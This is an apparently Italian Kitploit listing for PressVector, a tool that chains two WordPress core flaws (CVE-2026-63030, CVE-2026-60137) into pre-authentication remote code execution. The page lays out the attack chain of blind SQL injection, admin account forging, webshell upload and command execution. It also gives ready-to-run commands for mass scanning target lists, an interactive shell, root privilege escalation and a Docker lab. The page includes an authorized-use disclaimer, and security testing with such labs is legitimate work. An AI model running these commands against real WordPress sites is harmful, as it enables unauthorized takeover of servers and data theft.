Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PressVector — # PressVector - Scanner avanzato di vulnerabilità WordPress CVE-2026-63030 (confusione di route batch REST) / CVE-2026-60137 (SQLi) Sviluppatore: Vulnquest | Kitploit
Strumenti/GitHubGitHub/vulnquest58/pressvector
RicognizioneScanner di VulnerabilitàScanner di Vulnerabilità WebRaccolta InformazioniSicurezza WebPenetration Testing
GitHubvulnquest58/pressvector

PressVector

# PressVector - Scanner avanzato di vulnerabilità WordPress CVE-2026-63030 (confusione di route batch REST) / CVE-2026-60137 (SQLi) Sviluppatore: Vulnquest

Vedi Repository
11333 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🧨 PressVector — Framework di sfruttamento per WordPress CVE-2026-63030 / CVE-2026-60137

⚡ Framework avanzato di sfruttamento RCE pre-autenticazione e SQLi cieca per WordPress Core


📌 Panoramica

PressVector è un framework di sfruttamento completo e completamente automatizzato che prende di mira CVE-2026-63030 e CVE-2026-60137 — due vulnerabilità critiche nel core di WordPress che, combinate, consentono l'esecuzione di codice in remoto senza autenticazione.

Il framework concatena una REST Batch Route Confusion con un'iniezione SQL cieca per forgiare sessioni di amministratore, distribuire webshell ed eseguire comandi arbitrari sul sistema operativo — il tutto senza alcuna credenziale.

⚠️ Solo per test di sicurezza autorizzati e scopi educativi.


🔍 Cos'è CVE-2026-63030 (wp2shell)?

CVE-2026-63030 è una vulnerabilità critica di RCE pre-autenticazione nel core di WordPress, scoperta da Adam Kues (Assetnote / Searchlight Cyber). L'exploit concatena due vulnerabilità indipendenti:

CVEAdvisoryTipoImpatto
CVE-2026-63030GHSA-ff9f-jf42-662qREST Batch Route ConfusionRCE pre-autenticazione
CVE-2026-60137GHSA-fpp7-x2x2-2mjfIniezione SQL author__not_inSQLi cieca pre-autenticazione

💥 Catena di sfruttamento

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 Versioni interessate

Versione di WordPressCVE applicabiliImpattoStato
6.8.0 – 6.8.5CVE-2026-60137🟡 Blind SQLi (Alto)❌ Vulnerabile
6.9.0 – 6.9.4CVE-2026-63030 + CVE-2026-60137🔴 Pre-Auth RCE (Critico)❌ Vulnerabile
7.0.0 – 7.0.1CVE-2026-63030 + CVE-2026-60137🔴 Pre-Auth RCE (Critico)❌ Vulnerabile
7.1-alpha / 7.1-beta1CVE-2026-60137🟡 SQLi (Alto)❌ Vulnerabile
6.8.6+ / 6.9.5+ / 7.0.2+—✅ Corretto✅ Sicuro

📦 Installazione

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ Strumenti inclusi

1️⃣ pressvector.py — Framework di sfruttamento principale

Framework di sfruttamento completo con 4 modalità operative.

🔎 scan — Scanner di vulnerabilità multi-target

Scanner veloce e multi-thread per rilevare installazioni WordPress vulnerabili su larga scala.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — Conferma di SQLi cieca

Conferma un'iniezione SQL cieca basata sul tempo su un singolo target con calibrazione dei tempi.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — Catena completa di sfruttamento RCE

Sfruttamento completo: forgiatura admin → deploy webshell → esecuzione comandi.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — Escalatione dei privilegi

Tenta l'escalation locale dei privilegi dopo aver ottenuto l'RCE.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — Template di rilevamento Nuclei

Un template Nuclei pronto per la produzione per il rilevamento passivo su larga scala.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

Funzionalità del template:

  • 🔍 Rilevamento della versione da più fonti (meta generator + fallback sul feed RSS)
  • 📡 Fingerprinting del namespace dell'API REST
  • 🎯 Sondaggio batch dell'accessibilità delle route
  • 📋 Output dinamico: versione, tipo di CVE, vettore di attacco

🧪 Ambiente di laboratorio (Docker)

È incluso un laboratorio di penetration testing containerizzato e completamente automatizzato per testare queste vulnerabilità in modo sicuro e isolato.

Avvio rapido

Windows (PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(Attendere circa 60-90 secondi alla prima esecuzione affinché il programma di installazione di WP-CLI configuri automaticamente tutti i siti WordPress).

Servizi e porte del laboratorio

PortaServizioVersione di WordPressVulnerabilità / Stato
8080Target 16.8.5CVE-2026-60137 (solo Blind SQLi) 🔴
8081Target 26.9.4CVE-2026-63030 (Pre-Auth RCE) 🔴
8082Target 37.0.1CVE-2026-63030 (Pre-Auth RCE) 🔴
8083RiferimentoUltimaCorretto / Riferimento sicuro ✅
8084PHPMyAdmin—Strumento di gestione del database
8085Dashboard del laboratorio—Interfaccia web con stato dei target e comandi copiabili 🖥️

Credenziali amministratore: admin / admin123
Password root di MySQL: root

Verifica e test automatizzati

È possibile verificare l'intero stato del laboratorio e i percorsi di sfruttamento utilizzando la suite di test automatizzata:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

Comandi di controllo del laboratorio

  • Arresta il laboratorio (mantieni i dati): esegui stop-lab.sh o .\stop-lab.ps1
  • Ripristina il laboratorio (cancella i dati e pulisci la build): esegui reset-lab.sh o .\reset-lab.ps1
Scarica lo strumento